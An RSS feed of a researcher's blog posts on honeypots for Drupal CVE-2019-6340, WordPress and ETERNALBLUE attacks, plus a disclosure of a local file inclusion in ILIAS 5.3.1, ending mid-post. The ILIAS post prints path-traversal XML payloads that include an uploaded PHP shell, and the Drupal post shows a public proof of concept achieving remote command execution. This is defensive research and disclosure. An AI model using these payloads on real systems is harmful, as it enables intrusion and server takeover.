<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Heading on Medium]]></title>
        <description><![CDATA[Stories by Heading on Medium]]></description>
        <link>https://medium.com/@misc_heading?source=rss-7bc0aea5d3c9------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*ZIaN43LotpcpcAlvKPJ9ig.jpeg</url>
            <title>Stories by Heading on Medium</title>
            <link>https://medium.com/@misc_heading?source=rss-7bc0aea5d3c9------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 24 Nov 2026 18:26:23 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@misc_heading/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Building a real world web honeypot for CVE-2019–6340 (RCE in Drupal core)]]></title>
            <link>https://medium.com/@misc_heading/building-a-real-world-web-honeypot-for-cve-2019-6340-rce-in-drupal-core-f4240f989c3f?source=rss-7bc0aea5d3c9------2</link>
            <guid isPermaLink="false">https://medium.com/p/f4240f989c3f</guid>
            <category><![CDATA[docker]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[honeypot]]></category>
            <category><![CDATA[drupal]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Heading]]></dc:creator>
            <pubDate>Tue, 09 Apr 2019 15:28:48 GMT</pubDate>
            <atom:updated>2019-04-09T19:15:09.265Z</atom:updated>
            <content:encoded><![CDATA[<h3>Building a real-world web honeypot for CVE-2019–6340 (RCE in Drupal core)</h3><p>A while ago I started a project for managing real-word web honeypots. I initially built it to manage some WordPress honeypots but after Drupalgeddon2 came out I started a rework. Unfortunately, it needed quite a long time to finally release it. But I am finally able to share my efforts: <a href="https://gitlab.com/SecurityBender/webhoneypot-framework">https://gitlab.com/SecurityBender/webhoneypot-framework</a>.</p><p>The Webhoneypot Framework is written in Python 3 and needs docker and docker-compose to run. A honeypot can be configured using a JSON and a corresponding docker-compose file. Whereas the docker-compose file describes the containers and their setup used for the honeypot the JSON file is used to configure how the framework detects attacks and takes snapshots of the honeypot.</p><p>The basic structure of the JSON configuration looks like the following:</p><pre>{<br>    &quot;docker_compose_file&quot;: &quot;./docker-compose.yml&quot;,<br>    &quot;pre_start&quot;: &quot;...&quot;,<br>    &quot;post_start&quot;: &quot;...&quot;,<br>    &quot;snapshot_path&quot;: &quot;./snapshots&quot;,<br>    &quot;snapshots&quot;: [<br>        ...<br>    ],<br>    &quot;detections&quot;: [<br>        ...<br>    ]<br>}</pre><p>The docker_compose_file option is pretty self-explanatory. With the options pre_start and post_start one is able to execute scripts before starting respectively after starting a honeypot. I usually use this to adjust file permissions and file ownership of the web root.</p><p>The main function of the framework is to create snapshots of the honeypot after an attack is detected. Currently, it is possible to create snapshots of directories or of MySQL databases.</p><p>To take a MySQL snapshot one should add the mysql_snapshot option under snapshots. This creates a MySQL dump of a standard MySQL container (<a href="https://hub.docker.com/_/mysql">https://hub.docker.com/_/mysql</a>):</p><pre>{<br>    &quot;type&quot;: &quot;mysql_snapshot&quot;,<br>    &quot;mysql_container_name&quot;: &quot;webhoneypot_mysql_1&quot;,<br>    &quot;mysql_user&quot;: &quot;root&quot;,<br>    &quot;mysql_password&quot;: &quot;Password123!&quot;,<br>    &quot;mysql_restore_path&quot;: &quot;./mysql/config&quot;<br>}</pre><p>The MySQL container from the docker library allows restoring of database dumps by placing a file into the /docker-entrypoint-initdb.d folder of the container. So the mysql_restore_path option should point to the mount point of this directory.</p><p>Another option is to create directory snapshots with the folder_snapshot option:</p><pre>{<br>    &quot;type&quot;: &quot;folder_snapshot&quot;,<br>    &quot;folder_path&quot;: &quot;./apache/html&quot;<br>},</pre><p>This will create a ZIP archive of the specified folder and place it in the configured snapshot folder.</p><p>To detect an attack the webhoneypot framework currently only supports folder_changed and file_contains.</p><p>The detection method folder_changed is very basic and detects arbitrary file changes in comparison to the initial snapshot:</p><pre>{<br>    &quot;type&quot;: &quot;folder_changed&quot;,<br>    &quot;folder_path&quot;: &quot;./apache/html&quot;,<br>    &quot;ignore_files&quot;: [<br>        &quot;folder_to_ignore/&quot;<br>    ]<br>}</pre><p>The folder_path option must match one that is specified in a folder_snapshot block. To get rid of some noise it is possible to ignore certain files or folders.</p><p>The second detection method file_contains checks if the specified file contains a specific string or regex:</p><pre>{<br>    &quot;type&quot;: &quot;file_contains&quot;,<br>    &quot;file_path&quot;: &quot;./nginx/logs/access.log&quot;,<br>    &quot;pattern&quot;: &quot;pattern to search&quot;<br>}</pre><p>To run the script simply clone the repository and run <em>webhoneypot.py</em>:</p><pre>$ git clone <a href="https://gitlab.com/SecurityBender/webhoneypot-framework.git">https://gitlab.com/SecurityBender/webhoneypot-framework.git</a> &amp;&amp; cd <a href="https://gitlab.com/SecurityBender/webhoneypot-framework.git">webhoneypot-framework</a><br>$ ./webhoneypot.py -h                                                                                             <br>usage: webhoneypot.py [-h] -c CONFIG option</pre><pre>Management script for docker-based web application honeypots</pre><pre>positional arguments:<br>  option                the honeypot option, can be<br>                        [start|stop|init|update|reset]</pre><pre>optional arguments:<br>  -h, --help            show this help message and exit<br>  -c CONFIG, --config CONFIG<br>                        the honeypot configuration file</pre><p>The script supports five options:</p><ul><li>start: start the honeypot containers</li><li>stop: stop the honeypot containers</li><li>init: initialize the honeypot (e.g. first setup) and create an initial snapshot</li><li>update: update the honeypot and create a new initial snapshot</li><li>reset: snapshot the honeypot, detect changes and restore the initial snapshot</li></ul><h3>Capturing CVE-2019–6340 in the wild</h3><p>Now with the basic in mind, we are able to build and configure a Drupal honeypot to capture <a href="https://www.ambionics.io/blog/drupal8-rce">CVE-2019–6340</a> attempts. CVE-2019–6340 is a RCE vulnerability in the Drupal core which lets an attacker execute arbitrary commands on the host system.</p><h4>Configuring the honeypot</h4><p>I already made a configuration for building Drupalgeddon2 honeypots. It is available on GitLab. Let’s clone it and prepare it for CVE-2019–6340.</p><pre>$ git clone <a href="https://gitlab.com/SecurityBender/webhoneypot-drupal.git">https://gitlab.com/SecurityBender/webhoneypot-drupal.git</a><br>$ cd webhoneypot-drupal</pre><p>In the directory we have several directories and files:</p><pre>webhoneypot-drupal/<br>├── apache/<br>│   └── Dockerfile<br>├── nginx/<br>│   ├── config/<br>│   │   └── default.conf<br>│   └── Dockerfile<br>├── docker-compose.yml<br>├── drupal.json<br>└── drupal.sh</pre><p>The apache and nginx directories contain the data and configuration files for the Apache and nginx containers, respectively. The most important files are <em>docker-compose.yml</em> and <em>drupal.json</em>.</p><p>The docker-compose.yml contains all information to start the necessary containers:</p><pre>version: &#39;2&#39;<br><br>services:<br>  apache:<br>    build: apache/<br>    volumes:<br>      - ./apache/html:/var/www/html<br>      - ./apache/tmp:/tmp<br>    networks:<br>      - webhoneypot<br><br>  nginx:<br>    build: nginx/<br>    volumes:<br>      - ./nginx/config/default.conf:/etc/nginx/conf.d/default.conf:ro<br>      - ./nginx/logs:/var/log/nginx<br>    ports:<br>      - &quot;80:80&quot;<br>    networks:<br>      - webhoneypot<br>    depends_on:<br>      - apache<br><br>networks:<br>  webhoneypot:<br>    driver: bridge</pre><p>In this setup, we have an Apache container which hosts and runs Drupal and a nginx which is used as a reverse proxy. We mount the <em>html</em> and the <em>tmp</em> directories to the Apache container to make them easily accessible from the host and to let us take a snapshot and restore them. We also mount the <em>log</em> directory to the nginx container for the same reasons.</p><p>The main configuration is done in drupal.json:</p><pre>{<br>    &quot;docker_compose_file&quot;: &quot;./docker-compose.yml&quot;,<br>    &quot;pre_start&quot;: &quot;&quot;,<br>    &quot;post_start&quot;: &quot;./drupal.sh&quot;,<br>    &quot;snapshot_path&quot;: &quot;./snapshots&quot;,<br>    &quot;snapshots&quot;: [<br>        {<br>            &quot;type&quot;: &quot;folder_snapshot&quot;,<br>            &quot;folder_path&quot;: &quot;./apache/html&quot;<br>        },<br>        {<br>            &quot;type&quot;: &quot;folder_snapshot&quot;,<br>            &quot;folder_path&quot;: &quot;./apache/tmp&quot;<br>        },<br>        {<br>            &quot;type&quot;: &quot;folder_snapshot&quot;,<br>            &quot;folder_path&quot;: &quot;./nginx/logs&quot;<br>        }<br>    ],<br>    &quot;detections&quot;: [<br>        {<br>            &quot;type&quot;: &quot;folder_changed&quot;,<br>            &quot;folder_path&quot;: &quot;./apache/html&quot;,<br>            &quot;ignore_files&quot;: [<br>                &quot;sites/default/files/php/twig/&quot;<br>            ]<br>        },<br>        {<br>            &quot;type&quot;: &quot;folder_changed&quot;,<br>            &quot;folder_path&quot;: &quot;./apache/tmp&quot;,<br>            &quot;ignore_files&quot;: [<br>            ]<br>        },<br>        {<br>            &quot;type&quot;: &quot;file_contains&quot;,<br>            &quot;file_path&quot;: &quot;./nginx/logs/access.log&quot;,<br>            &quot;pattern&quot;: &quot;node/1\\?_format=hal_json&quot;<br>        }<br>    ]<br>}</pre><p>At first, we specify with docker_compose_file the file that is used to create, start and stop the docker containers via <em>docker-compose</em>. After every start of the containers, drupal.sh is executed to adjust the owner and rights of the ./apache/html (the web root) directory and clearing the nginx access logs. Additionally, we configure the honeypot to take snapshots of the ./apache/html, ./apache/tmp and ./nginx/logs directories after each reset. I noticed that a lot of Drupalgeddon2 exploits drop files in /tmp so I added it.</p><p>The most critical part are the <em>detections</em>. As you might see we want to detect changes in the ./apache/html and the ./apache/tmp directories. All files that differ from the initial snapshot are detected. Because Drupal stores some generated files in sites/default/files/php/twig/, we ignore any changes to this directory. Another option for detection is to check a file for containing a specific regular expression. In this case, we monitor the nginx access log for the characteristic CVE-2019–6340 url.</p><h4>Running the honeypot</h4><p>After we have configured the honeypot we are ready to set it up. Quickly grep a vulnerable Drupal version (e.g. 8.6.9) and unpack it in the ./apache/html directory:</p><pre>$ wget -q <a href="https://ftp.drupal.org/files/projects/drupal-8.6.9.zip">https://ftp.drupal.org/files/projects/drupal-8.6.9.zip</a><br>$ unzip drupal-8.6.9.zip -d ./apache/<br>$ mv ./apache/drupal-8.6.9 ./apache/html</pre><p>Now let’s clone the Webhoneypot Framework and initialize the Drupal honeypot. Using ./webhoneypot.py -c ../webhoneypot-drupal/drupal.json init the script will start and build the required containers.</p><pre>$ ./webhoneypot.py -c ../webhoneypot-drupal/drupal.json init<br>2019-04-07 15:11:50,455 - DEBUG - Starting docker compose /opt/webhoneypot-drupal/docker-compose.yml ...<br>Creating network &quot;webhoneypot-drupal_webhoneypot&quot; with driver &quot;bridge&quot;<br>Building apache<br>[...]<br>Building nginx<br>[...]<br>Creating webhoneypot-drupal_apache_1 ... done<br>Creating webhoneypot-drupal_nginx_1  ... done<br>Press any key if honeypot setup is finished</pre><p>The initial startup succeeded and we are able to access the Drupal instance over the public IP address. After the configuration (enabling RESTful service, etc.) — which is harder than I thought — is finished we press ENTER and the script will start creating an initial snapshot of the honeypot.</p><pre>2019-04-07 15:23:17,604 - DEBUG - Creating snapshot &quot;initial&quot; ...<br>2019-04-07 15:23:17,621 - DEBUG - Create folder backup of &quot;/opt/webhoneypot-drupal/apache/html&quot; to &quot;/opt/webhoneypot-drupal/snapshots/initial/_opt_webhoneypot-drupal_apache_html.zip&quot; ...<br>2019-04-07 15:23:48,775 - DEBUG - Create folder backup of &quot;/opt/webhoneypot-drupal/apache/tmp&quot; to &quot;/opt/webhoneypot-drupal/snapshots/initial/_opt_webhoneypot-drupal_apache_tmp.zip&quot; ...<br>2019-04-07 15:23:48,787 - DEBUG - Create folder backup of &quot;/opt/webhoneypot-drupal/nginx/logs&quot; to &quot;/opt/webhoneypot-drupal/snapshots/initial/_opt_webhoneypot-drupal_nginx_logs.zip&quot; ...</pre><h4>Testing the honeypot</h4><p>Everything is now running fine and we are able to test it. I grabbed a POC from <a href="https://gist.github.com/leonjza/d0ab053be9b06fa020b66f00358e3d88/f9f6a5bb6605745e292bee3a4079f261d891738a">@leonjza</a> and ran it:</p><pre>$ python3 poc.py <a href="http://37.120.165.218/">http://&lt;my-ip&gt;/</a> &quot;id&quot;     <br>CVE-2019-6340 Drupal 8 REST Services Unauthenticated RCE PoC<br> by <a href="http://twitter.com/leonjza">@leonjza</a></pre><pre>References:<br> <a href="https://www.drupal.org/sa-core-2019-003">https://www.drupal.org/sa-core-2019-003</a><br> <a href="https://www.ambionics.io/blog/drupal8-rce">https://www.ambionics.io/blog/drupal8-rce</a></pre><pre>[warning] Caching heavily affects reliability of this exploit.<br>Nodes are used as they are discovered, but once they are done,<br>you will have to wait for cache expiry.</pre><pre>Targeting <a href="http://37.120.165.218/">http://37.120.165.218/</a>...<br>[+] Finding a usable node id...<br>[x] Node enum found a cached article at: 1, skipping<br>[+] Using node_id 2<br>[+] Target appears to be vulnerable!</pre><pre>uid=33(www-data) gid=33(www-data) groups=33(www-data)</pre><p>It worked. Let’s now see if our detection is working:</p><pre>$ ./webhoneypot.py -c ../webhoneypot-drupal/drupal.json reset<br>2019-04-07 17:04:11,767 - DEBUG - Creating snapshot &quot;20190407_170411&quot; ...<br>[...]<br>2019-04-07 17:04:48,115 - DEBUG - Stopping docker compose /opt/docker/webhoneypot-drupal/docker-compose.yml ...<br>Stopping webhoneypot-drupal_nginx_1  ... done<br>Stopping webhoneypot-drupal_apache_1 ... done<br>Removing webhoneypot-drupal_nginx_1  ... done<br>Removing webhoneypot-drupal_apache_1 ... done<br>Removing network webhoneypot-drupal_webhoneypot<br>2019-04-07 17:05:08,442 - INFO - Pattern &quot;node/1\?_format=hal_json&quot; detected in file!<br>2019-04-07 17:05:08,443 - DEBUG - Restoring snapshot &quot;initial&quot; ...<br>[...]</pre><p>And there it is. A working real world Drupal honeypot to detect CVE-2019–6340 attacks.</p><h3>Caution</h3><p>A compromised honeypot can be used for a lot of bad stuff (e.g. crypto mining, sending spam, DoS, you name it). I highly recommend to set up a regular cronjob (every 15 to 30 minutes) that resets the honeypot. Additionally, you can restrict the CPU time of the container or block some outgoing connection via the host firewall.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f4240f989c3f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[LFI in the ILIAS e-learning platform]]></title>
            <link>https://medium.com/@misc_heading/lfi-in-the-ilias-e-learning-platform-47f3ca73c88f?source=rss-7bc0aea5d3c9------2</link>
            <guid isPermaLink="false">https://medium.com/p/47f3ca73c88f</guid>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[php]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Heading]]></dc:creator>
            <pubDate>Wed, 18 Apr 2018 18:34:30 GMT</pubDate>
            <atom:updated>2018-04-18T18:42:39.250Z</atom:updated>
            <content:encoded><![CDATA[<p>From time to time I skim through some open source project and search for vulnerabilities. I recently stumbled over ILIAS. ILIAS is an open source web-based learning management system. It provides tools to support learning content management, collaboration, communication, evaluation and assessment. After a short look at their website (https://www.ilias.de), I decided to give it a try.</p><h3>Exploring ILIAS</h3><p>While searching for vulnerabilities in open source projects I use a combination of dynamic analysis and source code review. Since ILIAS is based on PHP and MySQL I used the awesome Scotch Box vagrant VM. Check out <a href="https://box.scotch.io/">https://box.scotch.io/</a> if you ever need an out-of-the-box LAMP/LEMP stack for local development.</p><p>I downloaded the latest ILIAS release (5.3.1 at that time), copied it in the Scotch Box web root and quickly followed the ILIAS setup wizard. After I logged in and I made myself familiar with the GUI and all available functions. I have noticed several ways to upload arbitrary files that were not exploitable but might come in handy later.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a7CIzoIUqGBq3dgB3eVFgg.png" /></figure><h3>Exploring the source code</h3><p>Since we have the source code available I prefer to search the source code for vulnerabilities than doing black box testing. For analyzing source code I simply use an editor (currently I like to use Visual Studio Code) and a program to search for regular expressions in the code (like grep or VS Code).</p><p>When analyzing PHP applications I usually start with the search for dangerous PHP functions. A pretty good list of dangerous PHP functions can be found here <a href="https://github.com/v-p-b/DangerousPHPFunctions/blob/master/php_dangerous.txt.">https://github.com/v-p-b/DangerousPHPFunctions/blob/master/php_dangerous.txt.</a></p><p>By randomly looking at some source files I noticed that the ILIAS source code contains many places with the following potential vulnerable pattern:</p><pre>include_once &quot;path/to/class.&quot;.$class_name.&quot;.php&quot;;</pre><p>This statement includes a PHP file depending on the value of $class_name. This may lead to a local file inclusion if the user/attacker can control the value of $class_name. By searching for the regular expression \binclude_once\b.*\$ in all non-lib folders I found a lot of places where a file is included based on the value of a variable:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/822/1*4FY_-OdmwOML8zmdFyXWjQ.png" /></figure><p>But in most cases, it is not possible to control the variable content. But after a while I found a promising code snippet in the SurveyImportParserPre38 (/Services/Survey/classes/class.SurveyImportParserPre38.php, LL. 361–387):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/784/1*8M7IoDYkwDERrrQsomNcxw.png" /></figure><p>The SurveyImportParserPre38 handles the parsing of survey files. ILIAS allows it to import and export surveys as XML files. Besides being potentially vulnerable to XXE (which I have still to verify) the above snippet might be an exploitable LFI. The snippet extracts the question type from the qticomment tag and checks it against some predefined question type values in a switch statement. But there is no default case so that the question type is directly fed into the include_once statement if there is no match in the switch statement. Because we control the question type through the XML file we have an exploitable LFI :).</p><h3>Building an exploit</h3><p>The vulnerability is in the `SurveyImportParserPre38` which parses survey XML files which were generated by an ILIAS version prior to v3.8. The decision whether we have a pre ILIAS v3.8 survey XML file is done inside ilObjSurveyQuestionPool(File: /Modules/SurveyQuestionPool/classes/class.ilObjSurveyQuestionPool.php, LL. 750–756):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/683/1*B9da4VbdU8abzFpiS1osQA.png" /></figure><p>So we just need to include the string questestinterop in the XML file to let it get passed to the SurveyImportParserPre38. With this in mind I crafted the following XML file:</p><pre>&lt;item idontcare=&quot;questestinterop&quot;&gt;<br>    &lt;qticomment&gt;   <br>        Questiontype=/../../../../../../../../../var/www/html/index<br>    &lt;/qticomment&gt;<br>&lt;/item&gt;</pre><p>Importing this file will cause the variable $questiontype to contain the value /../../../../../../../../../var/www/html/index and therefore to the inclusion of /var/www/html/index.php.</p><p>This won’t do anything harmful because index.php doesn’t contain malicious code. But as I noticed in the preparation it is possible to upload arbitrary files via the ILIAS repository.</p><p>Unfortunately, the uploaded files are stored in the ILIAS file storage outside the web root. ILIAS uses the following naming scheme for files in the file storage:</p><pre>/&lt;storageroot&gt;/&lt;clientid&gt;/ilFile/&lt;fileid&gt;[0]/file_&lt;fileid&gt;/001/&lt;filename&gt;</pre><p>The file path heavily relies on the file id which is generated by ILIAS during the upload. Since some ILIAS setup tutorials suggest the storage path to be /opt/iliasdata I simply use this value as the storage root. The client id is public so the only problem is the file id. Luckily, it is possible to query the file id by using the files meta section inside of ILIAS:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/713/1*EYDW2s8Oe4rxf0CFCj0A8Q.png" /><figcaption>The file identifier are the last three numbers in of Identifier field (in this case 276)</figcaption></figure><p>After this the import of the following XML file leads to the inclusion of the uploaded shell:</p><pre>&lt;item idontcare=&quot;questestinterop&quot;&gt;<br>    &lt;qticomment&gt;<br>        Questiontype=/../../../../../../../../../opt/iliasdata/myclient/ilFile/2/file_267/shell<br>    &lt;/qticomment&gt;<br>&lt;/item&gt;</pre><h3>Proof of concept</h3><p>To automate the exploitation process I wrote a proof of concept (<a href="https://gist.github.com/SecurityBender/81492ef4b0853e6e87104ccb1adb319a">https://gist.github.com/SecurityBender/81492ef4b0853e6e87104ccb1adb319a</a>) which uses the LFI to include a php shell which has been uploaded into the repository. The preconditions for this are:</p><ul><li>the ILIAS data folder has to be known (likely “/opt/iliasdata”)</li><li>the user needs permissions to upload files</li><li>the user needs permissions to import surveys</li></ul><p>Executing this script leads to the execution of the id command on the server side:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/853/1*M1CCrkbb72GfLxYLfv8uPw.png" /></figure><h3>Timeline</h3><ul><li>10.03.2018: Vendor notified via email (security@lists.ilias.de)</li><li>14.03.2018: Vendor response that they fixed the issue and will publish an update soon</li><li>15.03.2018: Release of the fixed version 5.3.2 without notification</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=47f3ca73c88f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Building a malware research and honeypot lab from scratch]]></title>
            <link>https://medium.com/@misc_heading/building-a-malware-research-and-honeypot-lab-from-scratch-b0b8763cff37?source=rss-7bc0aea5d3c9------2</link>
            <guid isPermaLink="false">https://medium.com/p/b0b8763cff37</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[threat-intelligence]]></category>
            <category><![CDATA[malware]]></category>
            <dc:creator><![CDATA[Heading]]></dc:creator>
            <pubDate>Fri, 09 Jun 2017 15:02:47 GMT</pubDate>
            <atom:updated>2017-06-09T15:08:38.104Z</atom:updated>
            <content:encoded><![CDATA[<p>I recently started to dive into threat intelligence and malware analysis. I’ve already written something about the setup I use to monitor Wordpress attacks in a previous post (<a href="https://medium.com/@BriX_428/how-i-capture-and-monitor-wordpress-attacks-ceda512b07">How I capture and monitor Wordpress attacks</a>). But this setup was only able to register simple web application attacks and it missed a proper logging mechanism. So it was time to build something better.</p><h3>Building</h3><p>I started this project shortly after the WannaCry mess so it was obvious for me to build this setup around an ETERNALBLUE honeypot. As with the Wordpress honeypot, I planned to use real-world honeypots instead of crafted ones so I won’t miss anything.</p><p>Using a real-world honeypot has a significant drawback. If an attacker has successfully compromised the honeypot he can basically do anything he wants. So it is necessary to focus on restricting the attacker’s actions to a minimum — sufficient to let them in but too little to cause any significant harm.</p><p>To achieve these goals I relied on sandboxing and network isolation. The lab is entirely virtualized which serves as the basic sandboxing. The following graphic shows the schematic setup:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/499/1*NFgxgQlSV0uFdEMhhlsS_w.jpeg" /></figure><p>The key parts of the setup are two separate virtual machines. One serves as a router and another serves as a sinkhole which will later receive all network traffic. The two VMs are connected via one isolated network. There is another isolated network for the honeypot VMs. The connection between these two isolated networks is the router VM. The router will reroute all outgoing traffic to the sinkhole. This is done by a simple direct firewall-cmd rule:</p><pre>$ firewall-cmd --permanent --zone=lab-intern --direct --add-rule ipv4 nat PREROUTING 0 -p tcp ! -d 192.168.0.0/16 -j DNAT --to-destination &lt;sinkhole-ip&gt;<br>$ firewall-cmd --reload</pre><p>Additionally, the router forwards specific ports from the honeypot VMs to so-called endpoints. These endpoints are distributed over the internet and expose the honeypot ports to the outside world. This has the advantage that I can easily add new endpoints and IPs to my lab without having to modify something.</p><p>The sinkhole VM has several services (mainly written in python) installed which will receive and log all the outgoing traffic. There are (at the time of writing) three different services:</p><ul><li>A DNS server which anwers all requests with a static IP address — based on FakeDNS by Crypt0s (<a href="https://github.com/Crypt0s/FakeDns">https://github.com/Crypt0s/FakeDns</a>)</li><li>A HTTP server which logs and responds to all requests — based on the python HTTPServer.</li><li>A dummy service which currently listens on all other ports.</li></ul><h3>Logging</h3><p>With the basic setup finished it is now time to setup the logging capabilities. For large scale log gathering and analysis, I would always choose an ELK (Elasticsearch, Logstash, and Kibana) stack. One powerful addition to this stack are the so called beats. Beats are small and lightweight services that parse logs and feed them directly into Logstash. Logstash then processes and enriches the data and stores it in Elasticsearch.</p><p>Because I am lazy I simply grabbed a prebuild docker ELK stack (<a href="https://github.com/deviantony/docker-elk.git">https://github.com/deviantony/docker-elk.git</a>). I just needed to modify the Logstash pipeline a bit to match my needs and everything is fine.</p><p>As mentioned above I wanted to build a honeypot that captures the ETERNALBLUE exploit and gathers information about used payloads and attack origins. But how can we achieve this?</p><p>At first I setup a basic Windows 7 installation (missing the critical MS17–010 patch). Then I installed Sysmon on it. Sysmon is a Windows Sysinternals tool by Microsoft which enables us to log various Windows events like process starts, network connections, file creation, registry modification, etc. This comes in handy when we want to check which processes were started and which files were created during a compromise. Sysmon can be found here <a href="https://technet.microsoft.com/en-us/sysinternals/sysmon">https://technet.microsoft.com/en-us/sysinternals/sysmon</a>.</p><p>To work Sysmon needs a more or less complicated configuration of what events it should log. Some events may cause a lot of log entries and can cause a high system load. I used the awesome config by SwiftOnSecurity (<a href="https://github.com/SwiftOnSecurity/sysmon-config">https://github.com/SwiftOnSecurity/sysmon-config</a>) which I modified a bit to get a better attack coverage.</p><p>With this it is possible to activate Sysmon:</p><pre>&gt; Sysmon64.exe -accepteula -i sysmon-config.xml</pre><p>Sysmon logs its events in the Windows Event Log. I setup a Winlogbeat (<a href="https://www.elastic.co/de/downloads/beats/winlogbeat">https://www.elastic.co/de/downloads/beats/winlogbeat</a>) to read these events and forward them to my ELK stack. Let’s go hunting…</p><h3>Hunting</h3><p>Now comes the most interesting part: the hunting. After I started the lab it only needed a couple of minutes to capture the first attacks:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*27M09MAk7rgzciNCXl_6Cg.png" /></figure><p>But unfortunately, my setup had a major problem. I had to manually extract potential payloads from the VM and save them for further analysis. With a number of attacks currently occurring this would be very time-consuming. So I decided to automate this process.</p><p>At first, I wrote a python script which regularly queries Elasticsearch and looks for new interesting events (like file creation, process start, etc.). When the script recognizes a new event it downloads the specific file from the honeypot VM and saves it for further analysis. To make it possible to download any file from the honeypot VM I wrote a little web server in PowerShell (… yes that is possible :D). The web server allows the monitor to download any file from the honeypot VM. After the IOCs are downloaded the VM is reset to a snapshot and restarted.</p><p>As for now, I have already captured around 15 different WannaCry instances and a couple of other payloads:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_RMAgQBMoBEPaItyeAQYPg.png" /></figure><p>The attacks have origins from all over the world:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pbFIR6sRhYoHFpcb2ac4Cw.png" /></figure><p>The next step is to extend my lab with other vulnerable systems and improve the logging of outgoing traffic. The hunt goes on :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b0b8763cff37" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I capture and monitor Wordpress attacks]]></title>
            <link>https://medium.com/@misc_heading/how-i-capture-and-monitor-wordpress-attacks-ceda512b07?source=rss-7bc0aea5d3c9------2</link>
            <guid isPermaLink="false">https://medium.com/p/ceda512b07</guid>
            <category><![CDATA[honeypot]]></category>
            <category><![CDATA[docker]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[wordpress]]></category>
            <dc:creator><![CDATA[Heading]]></dc:creator>
            <pubDate>Fri, 05 May 2017 16:55:02 GMT</pubDate>
            <atom:updated>2017-05-05T17:27:16.687Z</atom:updated>
            <content:encoded><![CDATA[<p>Like probably everyone who maintains Wordpress installations I had to deal with massive (automated) attacks. Due to its significant market share (<a href="https://w3techs.com/technologies/details/cm-wordpress/all/all">nearly a quarter of all websites</a>) and its mostly inexperienced users Wordpress is one of the top targets for malicious attackers.</p><p>To get some insights in these attacks I decided to monitor and capture them. Of course I didn’t want to let others hack my existing Wordpress installations so I setup an extra honeypot system. I had three basic requirements for the honeypot:</p><ul><li>It should be possible to use the standard Wordpress (without any modification)</li><li>It should capture and save attack attempts and successful attacks</li><li>An attacker should not be able to cause any harm via the compromised Wordpress (e.g. sending SPAM)</li></ul><p>With these requirements in mind I designed the following setup:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/541/1*57GznDiA8sW3tuSmQ0Ycyg.png" /></figure><h3>Docker, Docker, Docker, …</h3><p>My honeypot is entirely based on docker. The benefit of this is less overhead and a lot of flexibility. If you’re not familiar with docker I suggest reading this: <a href="https://serversforhackers.com/getting-started-with-docker">https://serversforhackers.com/getting-started-with-docker</a>. I used three separate containers for my setup:</p><ul><li>library/mysql:latest (<a href="https://hub.docker.com/_/mysql/">https://hub.docker.com/_/mysql/</a>)</li><li>library/php:apache (<a href="https://hub.docker.com/_/php/">https://hub.docker.com/_/php/</a>)</li><li>library/nginx:latest (<a href="https://hub.docker.com/_/nginx/">https://hub.docker.com/_/nginx/</a>)</li></ul><p>Before starting the different containers I created the following directory structure to store the data:</p><ul><li>wordpress/db: mounted to the MySQL container, contains the database dump for rapid honeypot provisioning</li><li>wordpress/html: mounted to the Apache container, contains the webroot</li><li>wordpress/logs: mounted to the NGINX, contains the access and error logs</li><li>wordpress/nginx.conf: contains the NGINX configuration</li></ul><h4>The database container</h4><p>Wordpress needs a SQL database so lets start with a MySQL docker container:</p><pre>docker run -d --name &quot;wordpress_db&quot; \<br>  -v &quot;/home/honeypot/wordpress/db:/docker-entrypoint-initdb.d&quot; \<br>    -e MYSQL_DATABASE=&quot;wordpress_db&quot; \<br>    -e MYSQL_USER=&quot;db_user&quot; \<br>    -e MYSQL_PASSWORD=&quot;$db_pass&quot; \<br>    -e MYSQL_ROOT_PASSWORD=&quot;$db_root_pass&quot; mysql:latest</pre><p>The database is started with a unique user and root password. In addition I mounted a folder to “/docker-entrypoint-initdb.d”. This will come in handy later, when erasing and restarting the honeypot. The folder “/docker-entrypoint-initdb.d” is used to initialize a fresh MySQL instance. The docker instance will import all “*.sql” files inside this folder into the database instance.</p><h4>The apache container</h4><p>As already mentioned I 